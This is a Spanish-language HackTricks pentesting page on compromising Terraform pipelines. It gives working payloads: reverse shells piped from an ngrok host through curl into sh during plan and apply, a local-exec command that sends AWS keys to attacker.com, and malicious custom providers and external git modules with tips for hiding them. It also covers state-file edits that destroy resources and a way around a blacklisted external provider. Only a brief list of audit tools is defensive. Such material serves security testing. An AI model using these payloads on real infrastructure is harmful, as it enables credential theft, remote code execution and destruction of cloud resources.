Terraform Security

Apoya a HackTricks

Información Básica

De la documentación:

HashiCorp Terraform es una herramienta de infraestructura como código que te permite definir tanto recursos en la nube como en local en archivos de configuración legibles por humanos que puedes versionar, reutilizar y compartir. Luego puedes usar un flujo de trabajo consistente para aprovisionar y gestionar toda tu infraestructura a lo largo de su ciclo de vida. Terraform puede gestionar componentes de bajo nivel como recursos de computación, almacenamiento y redes, así como componentes de alto nivel como entradas DNS y características de SaaS.

¿Cómo funciona Terraform?

Terraform crea y gestiona recursos en plataformas en la nube y otros servicios a través de sus interfaces de programación de aplicaciones (APIs). Los proveedores permiten que Terraform trabaje con prácticamente cualquier plataforma o servicio con una API accesible.

HashiCorp y la comunidad de Terraform ya han escrito más de 1700 proveedores para gestionar miles de diferentes tipos de recursos y servicios, y este número sigue creciendo. Puedes encontrar todos los proveedores disponibles públicamente en el Registro de Terraform, incluyendo Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, y muchos más.

El flujo de trabajo básico de Terraform consta de tres etapas:

  • Escribir: Defines recursos, que pueden estar en múltiples proveedores y servicios en la nube. Por ejemplo, podrías crear una configuración para desplegar una aplicación en máquinas virtuales en una red de Nube Privada Virtual (VPC) con grupos de seguridad y un balanceador de carga.

  • Planificar: Terraform crea un plan de ejecución que describe la infraestructura que creará, actualizará o destruirá en función de la infraestructura existente y tu configuración.

  • Aplicar: Con la aprobación, Terraform realiza las operaciones propuestas en el orden correcto, respetando cualquier dependencia de recursos. Por ejemplo, si actualizas las propiedades de una VPC y cambias el número de máquinas virtuales en esa VPC, Terraform recreará la VPC antes de escalar las máquinas virtuales.

Laboratorio de Terraform

Solo instala terraform en tu computadora.

Aquí tienes una guía y aquí tienes la mejor manera de descargar terraform.

RCE en Terraform

Terraform no tiene una plataforma que exponga una página web o un servicio de red que podamos enumerar, por lo tanto, la única forma de comprometer terraform es poder agregar/modificar archivos de configuración de terraform.

Sin embargo, terraform es un componente muy sensible a comprometer porque tendrá acceso privilegiado a diferentes ubicaciones para que funcione correctamente.

La principal forma en que un atacante puede comprometer el sistema donde se está ejecutando terraform es comprometer el repositorio que almacena las configuraciones de terraform, porque en algún momento van a ser interpretadas.

De hecho, hay soluciones que ejecutan terraform plan/apply automáticamente después de que se crea un PR, como Atlantis:

Si puedes comprometer un archivo de terraform, hay diferentes formas en que puedes realizar RCE cuando alguien ejecuta terraform plan o terraform apply.

Terraform plan

Terraform plan es el comando más utilizado en terraform y los desarrolladores/soluciones que utilizan terraform lo llaman todo el tiempo, por lo que la manera más fácil de obtener RCE es asegurarte de envenenar un archivo de configuración de terraform que ejecute comandos arbitrarios en un terraform plan.

Usando un proveedor externo

Terraform ofrece el external provider que proporciona una forma de interaccionar entre Terraform y programas externos. Puedes usar la fuente de datos external para ejecutar código arbitrario durante un plan.

Inyectar en un archivo de configuración de terraform algo como lo siguiente ejecutará un rev shell al ejecutar terraform plan:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

Usando un proveedor personalizado

Un atacante podría enviar un proveedor personalizado al Registro de Terraform y luego agregarlo al código de Terraform en una rama de características (ejemplo de aquí):

terraform {
required_providers {
evil = {
source  = "evil/evil"
version = "1.0"
}
}
}

provider "evil" {}

El proveedor se descarga en el init y ejecutará el código malicioso cuando se ejecute plan.

Puedes encontrar un ejemplo en https://github.com/rung/terraform-provider-cmdexec

Usando una referencia externa

Ambas opciones mencionadas son útiles pero no muy sigilosas (la segunda es más sigilosa pero más compleja que la primera). Puedes realizar este ataque incluso de una manera más sigilosa, siguiendo estas sugerencias:

  • En lugar de agregar el rev shell directamente en el archivo de terraform, puedes cargar un recurso externo que contenga el rev shell:

module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

Puedes encontrar el código de rev shell en https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules

  • En el recurso externo, utiliza la función ref para ocultar el código de rev shell de terraform en una rama dentro del repositorio, algo como: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

Terraform Apply

Se ejecutará Terraform apply para aplicar todos los cambios, también puedes abusar de esto para obtener RCE inyectando un archivo de Terraform malicioso con local-exec. Solo necesitas asegurarte de que alguna carga útil como las siguientes termine en el archivo main.tf:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

Sigue las sugerencias de la técnica anterior para realizar este ataque de una manera más sigilosa utilizando referencias externas.

Extracción de secretos

Puedes tener valores secretos utilizados por terraform extraídos ejecutando terraform apply al agregar al archivo de terraform algo como:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Abusing Terraform State Files

En caso de que tengas acceso de escritura sobre los archivos de estado de terraform pero no puedas cambiar el código de terraform, esta investigación ofrece algunas opciones interesantes para aprovechar el archivo:

Deleting resources

Hay 2 formas de destruir recursos:

  1. Insertar un recurso con un nombre aleatorio en el archivo de estado que apunte al recurso real a destruir

Porque terraform verá que el recurso no debería existir, lo destruirá (siguiendo el ID del recurso real indicado). Ejemplo de la página anterior:

{
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
},
  1. Modificar el recurso para eliminar de manera que no sea posible actualizar (así será eliminado y recreado)

Para una instancia de EC2, modificar el tipo de la instancia es suficiente para que terraform la elimine y la recree.

RCE

También es posible crear un proveedor personalizado y simplemente reemplazar uno de los proveedores en el archivo de estado de terraform por el malicioso o agregar un recurso vacío con el proveedor malicioso. Ejemplo de la investigación original:

"resources": [
{
"mode": "managed",
"type": "scaffolding_example",
"name": "example",
"provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]",
"instances": [

]
},

Reemplazar proveedor en la lista negra

En caso de que te encuentres en una situación donde hashicorp/external fue puesto en la lista negra, puedes re-implementar el proveedor external haciendo lo siguiente. Nota: Usamos un fork del proveedor external publicado por https://registry.terraform.io/providers/nazarewk/external/latest. También puedes publicar tu propio fork o re-implementación.

terraform {
required_providers {
external = {
source  = "nazarewk/external"
version = "3.0.0"
}
}
}

Entonces puedes usar external como de costumbre.

data "external" "example" {
program = ["sh", "-c", "whoami"]
}

Herramientas de Auditoría

  • tfsec: tfsec utiliza análisis estático de tu código terraform para detectar posibles configuraciones incorrectas.

  • terascan: Terrascan es un analizador de código estático para Infraestructura como Código.

Referencias

Apoya a HackTricks

Last updated